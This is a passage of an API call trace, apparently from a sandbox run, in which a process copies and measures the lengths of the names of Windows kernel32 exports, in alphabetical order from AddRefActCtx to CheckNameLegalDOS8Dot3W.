returned="AddRefActCtx" [0119.801] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0119.801] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0119.801] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0119.801] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0119.801] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0119.801] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0119.801] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0119.801] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0119.801] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0119.801] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0119.801] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0119.801] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0119.801] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0119.801] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0119.801] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0119.802] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0119.802] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0119.802] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0119.802] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0119.802] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0119.802] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0119.802] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0119.802] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0119.802] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0119.802] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0119.802] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0119.802] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0119.802] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0119.802] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0119.802] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0119.802] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0119.802] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0119.802] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0119.802] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0119.802] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0119.802] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0119.802] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0119.802] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0119.802] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0119.802] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0119.802] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0119.802] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0119.802] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0119.802] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0119.802] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0119.802] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0119.802] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0119.802] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0119.803] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0119.803] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0119.803] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0119.803] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0119.803] lstrlenA (lpString="BACKUPREAD") returned 10 [0119.803] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0119.803] lstrlenA (lpString="BACKUPSEEK") returned 10 [0119.803] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0119.803] lstrlenA (lpString="BACKUPWRITE") returned 11 [0119.803] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0119.803] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0119.803] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0119.803] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0119.803] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0119.803] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0119.803] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0119.803] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0119.803] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0119.803] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0119.803] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0119.803] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0119.803] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0119.803] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0119.803] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0119.803] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0119.803] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0119.803] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0119.803] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0119.803] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0119.803] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0119.803] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0119.803] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0119.804] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0119.804] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0119.804] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0119.804] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0119.804] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0119.804] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0119.804] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0119.804] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0119.804] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0119.804] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0119.804] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0119.804] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0119.804] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0119.804] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0119.804] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0119.804] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0119.804] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0119.804] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0119.804] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0119.804] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0119.804] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0119.804] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0119.804] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0119.804] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0119.804] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0119.804] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0119.804] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0119.804] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0119.804] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0119.804] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0119.804] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0119.804] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0119.804] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0119.805] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0119.805] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0119.805] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0119.805] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0119.805] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0119.805] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0119.805] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0119.805] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0119.805] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0119.805] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0119.805] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0119.805] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0119.805] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0119.805] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0119.805] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0119.805] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0119.805] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0119.805] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0119.805] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0119.805] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0119.805] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0119.805] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0119.805] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0119.805] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0119.805] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0119.805] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0119.805] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0119.805] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0119.805] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0119.805] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0119.805] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0119.805] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0119.805] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0119.806] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0119.806] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0119.806] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0119.806] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0119.806] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0119.806] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0119.806] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0119.806] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0119.806] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0119.806] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0119.806] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0119.806] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0119.806] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0119.806] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0119.806] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0119.806] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0119.806] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0119.806] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0119.806] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0119.806] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0119.806] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0119.806] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0119.806] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0119.806] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0119.806] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0119.806] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0119.806] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0119.806] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0119.806] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0119.806] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0119.806] lstrlenA (lpString="BEEP") returned 4 [0119.806] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0119.807] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0119.807] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0119.807] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0119.807] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0119.807] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0119.807] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0119.807] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0119.807] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0119.807] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0119.807] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0119.807] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0119.807] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0119.807] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0119.807] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0119.807] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0119.807] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0119.807] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0119.807] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0119.807] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0119.807] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0119.807] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0119.807] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0119.807] lstrlenA (lpString="CANCELIO") returned 8 [0119.807] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0119.807] lstrlenA (lpString="CANCELIOEX") returned 10 [0119.807] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0119.807] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0119.807] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0119.807] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0119.807] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0119.807] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0119.807] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0119.807] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0119.808] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0119.808] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0119.808] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0119.808] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0119.808] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0119.808] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0119.808] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0119.808] lstrlenA (lpString="CHECKELEVATION") returned 14 [0119.808] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0119.808] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0119.808] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0119.808] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0119.808] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0119.808] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0119.808] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0119.808] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0119.808] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0119.808] lstrlenA 